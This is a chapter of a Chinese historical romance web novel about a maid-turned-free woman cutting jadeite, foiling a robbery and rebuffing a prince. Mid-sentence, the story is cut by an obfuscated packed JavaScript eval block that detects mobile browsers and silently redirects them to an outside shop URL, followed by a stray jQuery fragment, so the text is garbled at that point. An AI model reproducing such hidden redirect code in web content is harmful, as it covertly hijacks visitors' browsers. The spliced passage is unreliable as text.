一阵吸气声响起,王匠人先忍不住惊呼了出来,“爆了,爆了!老天,真是满料,这么通透又是满料,简直是闻所未闻。”
“不愧是楚郎君,眼光毒辣,这玉料绝对可以称得上是玉中之王了。”
接着众人又兴奋的一一打开其他几块石料,虽也成色不错却都比不上楚钰那块。
顿时一股股酸水在空间弥漫开来。
“楚郎君这运气还真是不一般,我等佩服。”
“既已开了石,我们便就此告辞了。”
楚钰自是不管其他人怎么想,他一直被人羡慕嫉妒,早就习惯了。
可沈秋的表情就有些耐人寻味了,一般人见到价值连城的宝玉哪会如此淡定?
除非她不懂玉,可楚钰知道并非如此,那就只能说明这种东西她见得多了……
这想法一出现在脑海里,楚钰便摇了摇头,这怎么可能呢?她一个丫鬟……哪有机会见识这些?
便是裴寂府上摆了那些奇石也不过是为了装门面,可不是真的爱石。
将李二郎等人忽悠走后,楚钰又悄默默地折返回来。
施展轻功上了房顶,准备偷窥。
与此同时,裴寂知道沈秋拿了石料去奇石街,顿时就坐不住了,想要跟着去看看。
偏偏这时候顾行止找了过来。
一见到来人,裴寂脸色顿时阴沉下来,顾行止也不辩解,直接跪在地上,“行止有错,甘愿受罚。”
他知道他那些小动作根本瞒不过裴寂,何况他本也没想瞒着。
知道王爷为了救那女人生生挨了一刀,他心里只恨没早些将那女人杀了。
“顾行止,你长本事了,竟有胆子管起本王的后院来。”裴寂“唰”的一下抽出随身佩剑,架在顾行止的脖颈上。
顾行止低眉垂首,“是行止逾越,但那沈秋如今是自由之身,若不能为我们所用,必成大患,王爷不能不防。”
“难道在你顾行止眼中,本王竟是那等昏聩之人?念你初犯,便去黎山县做监军吧。”
处理了顾行止,裴寂也没了心思出去,顾行止的话他到底是听进去了,心里也琢磨着,该怎么才能让沈秋不那么排斥他。
原本打算将她放在城中,让她知道即便是出了王府,也只能在他的掌控下生活,乖乖依附于他。
可自那日沈秋被劫,差点被杀的那一刻,裴寂的心仿佛要疼的炸开,便是为她而死也甘愿,又怎么舍得折断她的羽翼,让她难过。
早知如此,当初他就不该那么急着将人占了去,可他哪里能想到沈秋那丫头看着柔弱,却是个心肠冷硬的。
都为她挡了一剑,也不见她松口,反而让他进退两难。
求不得,又放不下。
一想到母亲要带着表妹过来,他就觉得头疼,若是再让她们知道了沈秋的存在,指不定又要闹幺蛾子。
沈秋自然不知道裴寂在想什么,就算知道她也不在意,大不了就是离开西北而已。
此刻她正等着匠人为她切石料,虽然有些底气,但赌石之所以是赌,便是其中蕴藏着不确定性。
没到切开那一刻谁也不知是涨是跌。
当然除了沈秋的紧张外,其余几人反而淡定得很,在他们看来,这破石头就是骗子哄骗新手的坑。
然而当张匠人将石料切开后,原本还在闲聊戏谑的几人都好似被施了定身术一般,一个个呆若木鸡。
“这是什么玉石?”
“灿如碧水,晶莹剔透,简直是集天地之精华,万物之灵秀于一体。”
“这……这……沈娘子,不知这究竟是何种玉石?”竟是比和田玉更夺人心魄。
掌柜颤抖着声音,眼里露出贪婪的精芒,便是刚刚那玉王,与这么一小块的玉石比起来也逊色了许多。
虽说沈秋是王爷身边的人,但若是她离开后被人暗害了,与他们又有什么关系!
“我们那里叫这玉石为翡翠。”
竟是玻璃种的翡翠,而且没有裂痕,简直是赚大了!
沈秋已经开始盘算这玩意究竟能卖多少钱了。
“妙哉,真是好名字,好玉。”张匠人由衷赞叹。
接着又将另外两块切开,虽不是玻璃种,却也达到了冰种。
只这三块,沈秋便有自信可以富甲一方了。
同样震惊的还有房顶上那位,楚钰揉了揉眼睛,恨不得跳下去好好查验一番。
之前他还为自己赚了玉王得意,这会儿他宁愿用那玉王去换沈秋手里的碗口大的小玉石。
从天工阁出来,沈秋便往青玉楼走去。
她对奇石街这些店铺都不了解,也怕别人起了歹心,最好的办法自然是找家信得过的店铺加工翡翠。
奇石街类似于现代的批发市场,并不是只有一条街道,而是横纵贯穿的好几条街道交错而成。
天工阁距离青玉楼还隔着两条街,沈秋虽然觉得以天工阁的规模,应是不会做出什么杀人夺宝的事来,但为了谨慎,她还是决定从大路去青玉楼,哪怕会绕些远。
可她哪里知道,天工阁的掌柜哪怕是第一次见到翡翠,凭借敏锐的玉石鉴赏能力,也知道这玩意必定大爆。
又正好没人知道,他自然就存了侥幸,生了歹心。
虽是要走大路,可两条街之间必定要经过一些小巷子。
也就在这个时候,异变横生,两个长相猥琐的男人打着劫色的幌子一步步朝沈秋逼近。
“小娘子这是要去哪里啊?该不是专门在等我们兄弟两个吧?”
沈秋被逼得缓缓后退,这时,楚钰从拐角处走出来,摇着折扇,大大的“闲”字展现在外。
“某倒是不知还有人敢觊觎西北王府的人,可是要某请二位去西北王府喝杯茶?”
二人面面相觑,那掌柜可没说这女子是西北王的人啊!
这不是要他俩的命吗?
“不敢不敢,姑奶奶饶命,小的这就滚蛋。”
身份调换,这会儿换着二人倒退着打算落跑了,可还没等二人行动。
沈秋却柔声开口,只是那话听着好似催命似的,“是谁派你们来的?”
事情实在太巧了,她刚切了石料,就有人来堵她,必定是被什么人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972848|145056||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给看到了。
但沈秋也没想到会是天工阁,毕竟那么大一家铺子,还会做这种下三滥的事吗?
楚钰倒是没想到,沈秋看着娇弱好像菟丝花,其实很是聪慧,一下就发现了问题。
“是,是窦掌柜。”
二人虽不敢得罪天工阁,但更怕西北王裴寂,此刻又有楚钰这尊大神震着,自然是还没等沈秋逼问,就倒豆子似的一股脑全说了出来。
听到窦掌柜几个字,沈秋一时半会儿还没想起来这人到底是谁,之后得知是天工阁掌柜,这才反应过来。
这世道人心难测,看来就算是那些看着有些口碑的铺子,也未必就全然可信。
这倒让她更坚定了去青玉楼加工玉料的想法。
至少他们不会谋财害命。
知道了结果沈秋并不想继续追究,毕竟翡翠还在。
何况若要找天工阁讨公道,她就只能扯裴寂的大旗,可她并不想这么做。
似是看出她的想法,楚钰嘴角含笑开口,“某与天工阁倒是有些交情,这事儿不如交由某来处理,定会给沈娘子讨个说法。”
“那就有劳郎君了。”沈秋并不在意后续如何,她本也没打算追究,便由着楚钰去处理。
自己则毫不犹豫地朝街上走。
“……”楚钰本想帮沈秋处理了麻烦,可以套个近乎,说不定能说服沈秋将玉石卖给他,可没想到,这人就这么走了……
让楚钰有些哭笑不得。
将玉料交给青玉楼又是过了几天,两块玉料被做成了三个镯子,还有几块玉佩玉牌,一些玉石珠串。
沈秋留下一块品相不错的瑞兽玉佩,其余的便放在青玉楼寄售。
那一批石料不少钱,她不想欠了裴寂的情。
这一日,刚从外面回来,就见裴寂正在院子里劈柴,精壮的没有一丝赘肉的胸膛半裸着,看起来极具诱惑。
沈秋脚下一顿,总觉得这厮是在引诱她犯错。
“你回来了。”裴寂抬头,汗珠顺着脸颊流淌,好似直接淌进了她的心里。
这话听起来怎么好似等丈夫归来的小媳妇。
“这是我家,我不回来能去哪里?”沈秋没好气地看着这个天天不请自来的男人。
裴寂笑看着她,也不恼,之前每次被怼,都气的他肺管子冒烟,恨不得将她就地正法,但一想到她曾在府里吃的苦,每每又生生忍了下来。
反正都被讨厌了,被怼的次数多了,他都有些习惯了。
“柴已经劈好了,我去给你放好就走。”
“王爷留步。”一想到还要还他钱,沈秋叫住了他。
裴寂有些意外,这小女娘可是个没良心的,以往不是怼他就是当他不存在。
上杆子她劈柴打水,这小女娘还故意挑刺。
这会儿叫他是要挑刺?还是良心发现了?
连他自己都不得不佩服这些日子修炼出来的忍功。
“秋儿可是想通了,要与本王回府?”
“王爷这是白天和黑夜都分不出来了,可要看看大夫?”沈秋再次毫不留情地怼了回去。